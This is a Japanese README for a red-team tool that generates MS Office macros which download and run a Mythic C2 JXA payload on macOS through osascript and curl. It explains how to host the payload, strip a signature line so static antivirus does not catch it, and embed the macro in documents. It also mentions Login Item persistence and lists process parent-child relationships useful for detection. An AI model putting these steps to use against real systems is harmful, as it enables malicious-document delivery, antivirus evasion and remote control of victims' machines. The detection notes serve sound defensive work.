Mythic-Macro-Generator

Mythic JXAペイロードを起動するためのMS Officeマクロを生成するPython3スクリプト。

このスクリプトは、osascriptを使用してMythic JXA .jsペイロードをダウンロードおよび実行するOfficeマクロを生成します。

手順：

1. Mythic C2サーバーをセットアップし、"apfell" JXAペイロードを生成します（注意：このジェネレーターはペイロードがhttpを使用していることを前提としています...httpsを使用している場合は、curlがhttpsを使用するようにジェネレータースクリプトを変更できます）。そのペイロードをMythicサーバーにダウンロードします。

2. Mythic JXA .jsランチャーの最初の行（"// Created by Cody Thomas - @its_a_feature_"）を削除します。一部の静的A/Vシグネチャはこの静的文字列をチェックすることが知られています。そのペイロードをホストします（例：.jsペイロードをフォルダーに置き、python -m SimpleHTTPServerを使用してホスト）。

3. このマクロジェネレーターを実行します：

python3 jxa-macro.py -u [url to the hosted .js payload in #2 above]

例：python3 jxa-macro.py -u http://192.168.1.1:8000/apfell2.js

4. マクロテキストは同じディレクトリの "macro.txt" というファイルに出力されます。

5. そのマクロをコピーしてMS Officeドキュメントに貼り付けます。

---

検出：

このマクロは、検出に使用できる以下の親子関係を生成します：

• Office Product (例：Microsoft Word.app) --> /bin/sh
• Office Product (例：Microsoft Word.app) --> /bin/bash
• Office Product (例：Microsoft Word.app) --> /usr/bin/curl

---

注：これにより、JXAペイロードがApp Sandbox内で起動されます。ただし、MythicはApp SandboxからでもLogin Itemの永続化を追加する機能を持っています。